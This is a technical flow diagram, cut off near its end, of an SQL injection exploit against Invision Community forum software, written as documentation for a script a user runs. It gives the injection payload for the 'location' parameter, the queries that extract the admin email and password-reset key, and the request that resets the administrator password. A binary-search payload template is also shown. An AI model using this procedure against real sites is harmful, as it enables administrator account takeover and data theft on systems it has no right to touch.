# Invision Community SQLi Exploit - Technical Flow Diagram ## Exploitation Flow Overview ``` ┌─────────────────────────────────────────────────────────────────┐ │ START: User Runs Exploit │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 1: Initialize Session │ │ • Create requests.Session() │ │ • Disable SSL verification │ │ • Set up user agent │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 2: Fetch CSRF Token │ │ HTTP GET → target_url │ │ Extract: csrfKey: "abc123..." │ │ Method: Regex pattern matching │ └───────────────────────────────┬─────────────────────────────────┘ │ ┌───────────┴───────────┐ │ CSRF Found? │ └───────────┬───────────┘ Yes │ No ┌───────────┴──────────┐ │ │ ▼ ▼ ┌──────────┐ ┌──────────┐ │ Continue │ │ Error │ └────┬─────┘ │ Exit │ │ └──────────┘ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 3: Extract Admin Email (SQL Injection) │ │ │ │ SQL Query: SELECT email FROM core_members WHERE member_id=1 │ │ │ │ Injection Point: location parameter │ │ Payload: '))OR(SELECT 1 RLIKE(IF(condition,0x28,0x31)))# │ │ │ │ Algorithm: Binary Search (256 → 128 → 64 → ... → final char) │ │ For each character position: │ │ • Test 8 times (binary search) │ │ • Check if error message appears │ │ • Determine ASCII value │ │ • Repeat until NULL byte │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Result: admin@example.com │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 4: Manual Password Reset Request │ │ • User navigates to password reset page │ │ • User enters extracted admin email │ │ • User requests password reset │ │ • User presses ENTER in exploit script │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 5: Extract Password Reset Key (SQL Injection) │ │ │ │ SQL Query: SELECT vid FROM core_validating │ │ WHERE member_id=1 AND lost_pass=1 │ │ ORDER BY entry_date DESC LIMIT 1 │ │ │ │ Same binary search algorithm as Step 3 │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Result: xyz789abc123def456... │ └───────────────────────────────┬─────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Step 6: Reset Admin Password │ │ HTTP POST → /index.php?/lostpassword/ │ │ Parameters: │ │ • do=validate │ │ • vid={extracted_reset_key} │ │ • mid=1 │ │ • password={new_password} │ │ • password_confirm={new_password} │ │ • csrfKey={csrf_token} │ └───────────────────────────────┬─────────────────────────────────┘ │ ┌───────────┴───────────┐ │ Status 301/302? │ └───────────┬───────────┘ Yes │ No ┌───────────┴──────────┐ │ │ ▼ ▼ ┌──────────────────┐ ┌─────────────┐ │ SUCCESS! │ │ FAILED │ │ Display creds │ │ Error msg │ └──────────────────┘ └─────────────┘ ``` ## Binary Search Algorithm Detail ``` Finding character at position N: Start: test_value = 256, min = True Iteration 1: test = 256 - 128 = 128 Payload: ...IF(ORD(SUBSTR((...),N,1))<128,0x28,0x31)... Error? → min = True/False Iteration 2: test = 128 ± 64 Payload: ...IF(ORD(SUBSTR((...),N,1))